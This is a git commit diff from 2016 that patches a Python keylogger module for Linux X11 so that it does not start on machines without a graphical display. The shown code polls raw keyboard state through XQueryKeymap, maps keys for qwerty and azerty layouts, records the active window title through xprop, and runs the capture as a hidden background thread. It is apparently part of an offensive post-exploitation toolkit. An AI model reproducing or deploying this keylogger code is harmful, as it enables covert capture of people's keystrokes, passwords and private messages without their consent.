fix bug keylogger (start keylogger whereas x11 is not present)

This commit is contained in:
Alessandro ZANNI 2016-09-30 18:56:41 +02:00
parent 47a035b3e6
commit c905fb1e8b
1 changed files with 12 additions and 5 deletions

View File

@ -15,7 +15,7 @@ display = x11.XOpenDisplay(None)
# this will hold the keyboard state. 32 bytes, with each bit representing the state for a single key. # this will hold the keyboard state. 32 bytes, with each bit representing the state for a single key.
keyboard = (ct.c_char * 32)() keyboard = (ct.c_char * 32)()
keyboard_layout = 'qwerty' # default layout keyboard_layout = False
# these are the locations (byte, byte value) of special keys to watch # these are the locations (byte, byte value) of special keys to watch
shift_keys = ((6,4), (7,64)) shift_keys = ((6,4), (7,64))
@ -196,9 +196,15 @@ key_mapping_azerty = {
} }
def keylogger_start(): def keylogger_start():
global keyboard_layout
if hasattr(sys, 'KEYLOGGER_THREAD'): if hasattr(sys, 'KEYLOGGER_THREAD'):
return False return False
keyLogger = KeyLogger() keyLogger = KeyLogger()
keyboard_layout = keyLogger.getKeyboardLayout()
if not keyboard_layout:
return "no_x11"
keyLogger.start() keyLogger.start()
sys.KEYLOGGER_THREAD=keyLogger sys.KEYLOGGER_THREAD=keyLogger
return True return True
@ -214,7 +220,6 @@ def keylogger_stop():
return True return True
return False return False
def get_active_window_title(): def get_active_window_title():
root_check = '' root_check = ''
root = Popen(['xprop', '-root'], stdout=PIPE) root = Popen(['xprop', '-root'], stdout=PIPE)
@ -266,7 +271,7 @@ class KeyLogger(threading.Thread):
def run(self): def run(self):
global key_mapping, keyboard_layout global key_mapping, keyboard_layout
keyboard_layout = self.getKeyboardLayout() # keyboard_layout = self.getKeyboardLayout()
if keyboard_layout == 'azerty': if keyboard_layout == 'azerty':
key_mapping = key_mapping_azerty key_mapping = key_mapping_azerty
else: else:
@ -287,8 +292,10 @@ class KeyLogger(threading.Thread):
for line in process.stdout.readlines(): for line in process.stdout.readlines():
if 'azerty' in line: if 'azerty' in line:
return 'azerty' return 'azerty'
# default is qwerty (if setxkbmap fails) elif 'qwerty' in line:
return 'qwerty' return 'qwerty'
# adding a default value will crash the process on server without x11 graphical interface
return False
def fetch_keys_raw(self): def fetch_keys_raw(self):
x11.XQueryKeymap(display, keyboard) x11.XQueryKeymap(display, keyboard)